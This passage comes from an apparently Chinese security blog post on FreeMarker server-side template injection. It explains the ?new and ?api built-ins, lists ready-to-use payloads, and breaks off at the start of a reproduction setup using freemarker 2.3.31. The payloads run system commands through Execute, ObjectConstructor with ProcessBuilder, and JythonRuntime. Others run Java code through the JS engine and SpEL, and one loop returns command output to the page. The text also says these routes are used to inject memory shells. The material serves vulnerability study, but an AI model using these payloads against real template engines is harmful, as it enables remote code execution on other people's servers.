<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l0 level1 lfo1;"><span style='font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">1.</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">new()：new函数用法是</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">"value"?new()</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">，在?的左边你可以指定一个字符串，</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">是TemplateModel实现类的完全限定名，结果是调用构造方法生成一个方法变量，然后将新变量返回。</span></span></strong><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l0 level1 lfo1;"><span style='font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">2.</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">api()：api函数用法是</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">"value"?api</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">，</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">value?api提供访问 value的API(通常是Java API)，比如</span></span></strong><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">value?api.someJavaMethod()</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">。api函数使用是有前提条件的：</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:36.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l1 level2 lfo2;"><span style='font-family:"Courier New";mso-fareast-font-family:宋体;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">o </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">api_builtin_enabled 配置设置项必须设置为true。为了不降低已有应用程序的安全性，它的默认值是false(至少在2.3.22 版本中)。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:36.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l1 level2 lfo2;"><span style='font-family:"Courier New";mso-fareast-font-family:宋体;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">o </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">值本身要支持它。我们在讨论当模板看到的值，它是通过对象包装 从原始对象值(来自于数据模型或者Java方法的返回值)中创建的。因此，这就依赖FreeMarker的配置设置项 object_wrapper， 还有被包装的(原始)对象：当对象包装器是 DefaultObjectWrapper ，并且它的 incompatibleImprovements 设置为 2.3.22 或更高 (在这里看如何设置它) (事实上，要做的是将它的 useAdaptersForContainer 属性设置为 true，但那是提到的 incompatibleImprovements 的默认值)时，从 Map 和 List 中得到FTL值支持 ?api。其它的 java.util.Collections 也是这样，如果 DefaultObjectWrapper 的 forceLegacyNonListCollections 属性设置为 false (默认是 true， 这是为了更好的向后兼容拆包)；当被纯 BeansWrapper 包装时，所有值都支持 ?api。但是再次重申，如果有其它方法，就避免使用它；实现了 freemarker.template.TemplateModelWithAPISupport 接口， 自定义的 TemplateModel 可以支持 ?api。</span></span></p>
<section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section></section></section></section><section style="margin-bottom:unset;"><section style="margin-bottom:unset;"><section data-support="96编辑器" style="text-align:center;margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top: 40px;margin-right: auto;margin-left: auto;"><section style="display:inline-block;margin-bottom:unset;"><section style="width: 31px;margin-right: -16px;margin-left: auto;margin-bottom: unset;"><section nodeleaf=""><img src="/uploads/2025/04/0f4e7d84358568e6e01dd65dba5ba993.png" style="vertical-align:bottom;"></section></section><section style="display:flex;justify-content:center;align-items:flex-start;margin-bottom:unset;margin-top:-14px;transform:rotateZ(0deg);-webkit-transform:rotateZ(0deg);-moz-transform:rotateZ(0deg);-ms-transform:rotateZ(0deg);-o-transform:rotateZ(0deg);"><section style="margin-right:3px;margin-bottom:unset;"><section style="margin-left:auto;width:13px;height:22px;background-color:#56a2f8;margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="width: 26px;margin-top: 6px;transform: rotateZ(0deg);"><section nodeleaf=""><img src="/uploads/2025/04/e0fca24df69eea4eecb30f39c6d61300.png" style="vertical-align:bottom;"></section></section></section><section style="background-color: rgb(0, 99, 218);padding: 8px 22px;margin-bottom: unset;"><p style="color:#fff;font-size:16px;letter-spacing:2px;"><strong data-aibrush="text"><span leaf="">freemarker ssti POC</span></strong></p></section></section></section></section></section></section><section data-support="96编辑器" style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="background-color: rgb(254, 254, 254);padding: 5px 12px 15px;margin-top: 20px;margin-right: 10px;margin-left: 10px;margin-bottom: unset;"><section style="margin-bottom:unset;"><section style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top:15px;margin-bottom:unset;"><p style="color:#282828;font-size:14px;letter-spacing:2px;line-height:1.75;" data-aibrush="text"><span style="color:#000000;font-family:宋体;font-size:12pt;text-align:left;"><span leaf="">两种</span></span><span style="color:#000000;font-family:宋体;font-size:12pt;text-align:left;"><span leaf="">freemarker ssti漏洞常用的POC：</span></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l1 level1 lfo1;"><span style='font-family:Symbol;mso-fareast-font-family:宋体;mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">· </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">POC1使用</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">freemarker.template.utility.Execute</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">类，其exec方法直接调用</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">Runtime().getRuntime().exec()</span></span></strong><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">执行命令</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">${"freemarker.template.utility.Execute"?new()("whoami")}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l0 level1 lfo2;"><span style='font-family:Symbol;mso-fareast-font-family:宋体;mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">· </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">POC2使用</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">ObjectConstructor</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">类，其exec方法通过反射实现了</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">将指定输入的类进行实例化</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">，</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">利用其exec方法可以通过</span></span></strong><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">java.lang.ProcessBuilder</span></span></strong><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">可执行命令，通过JS引擎/spel表达式可执行java代码，</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">因此这种利用方式在注入内存马等深入利用中最为常见</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">。</span></span></strong><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><#assign ex="freemarker.template.utility.ObjectConstructor"?new()>${ex("java.lang.ProcessBuilder","whoami").start()}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","calc").start()}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><#assign ob="freemarker.template.utility.ObjectConstructor"?new()><#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.ProcessBuilder","whoami").start().getInputStream())) ><#list 1..1000 as t><#assign line=br.readLine()!\"null\"><#if line==\"null\"><#break></#if>${line}${\"<br>\"}</#list></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">//借助js引擎</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><#assign ex="freemarker.template.utility.ObjectConstructor"?new()>${ex(javax.script.ScriptEngineManager").getEngineByName("js").eval("java.lang.System.getProperty(\"java.version\")")}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">${"freemarker.template.utility.ObjectConstructor"?new()("javax.script.ScriptEngineManager").getEngineByName("js").eval("java.lang.System.getProperty(\"java.version\")")}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">//spel表达式</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("{T(java.lang.System).getProperty(\"java.version\")}").getValue()}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l2 level1 lfo3;"><span style='font-family:Symbol;mso-fareast-font-family:宋体;mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">· </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">POC3使用</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">Jython</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">执行系统命令，但是需要其他依赖所以并不常用。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value></span></span></p></section></section></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section></section></section></section><section style="margin-bottom:unset;"><section style="margin-bottom:unset;"><section data-support="96编辑器" style="text-align:center;margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top: 40px;margin-right: auto;margin-left: auto;"><section style="display:inline-block;margin-bottom:unset;"><section style="width: 31px;margin-right: -16px;margin-left: auto;margin-bottom: unset;"><section nodeleaf=""><img src="/uploads/2025/04/0f4e7d84358568e6e01dd65dba5ba993.png" style="vertical-align:bottom;"></section></section><section style="display:flex;justify-content:center;align-items:flex-start;margin-bottom:unset;margin-top:-14px;transform:rotateZ(0deg);-webkit-transform:rotateZ(0deg);-moz-transform:rotateZ(0deg);-ms-transform:rotateZ(0deg);-o-transform:rotateZ(0deg);"><section style="margin-right:3px;margin-bottom:unset;"><section style="margin-left:auto;width:13px;height:22px;background-color:#56a2f8;margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="width: 26px;margin-top: 6px;transform: rotateZ(0deg);"><section nodeleaf=""><img src="/uploads/2025/04/e0fca24df69eea4eecb30f39c6d61300.png" style="vertical-align:bottom;"></section></section></section><section style="background-color: rgb(0, 99, 218);padding: 8px 22px;margin-bottom: unset;"><p style="color:#fff;font-size:16px;letter-spacing:2px;"><strong data-aibrush="text"><span leaf="">漏洞复现</span></strong></p></section></section></section></section></section></section><section data-support="96编辑器" style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="background-color: rgb(254, 254, 254);padding: 5px 12px 15px;margin-top: 20px;margin-right: 10px;margin-left: 10px;margin-bottom: unset;"><section style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top:15px;margin-bottom:unset;"><p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l2 level1 lfo1;"><span style='font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">1.</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">新建一个maven项目，添加freemarker依赖，版本设置为2.3.31.</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><dependencies></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        <dependency></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">            <groupId>org.freemarker</groupId></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">            <artifactId>freemarker</artifactId></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">            <version>2.3.31</version></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        </dependency></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">    </dependencies></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l3 level1 lfo2;"><span style='font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">2.</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">在demo文件中写入freemarker ssti触发代码。</span></span><span leaf=""><br></span></p>
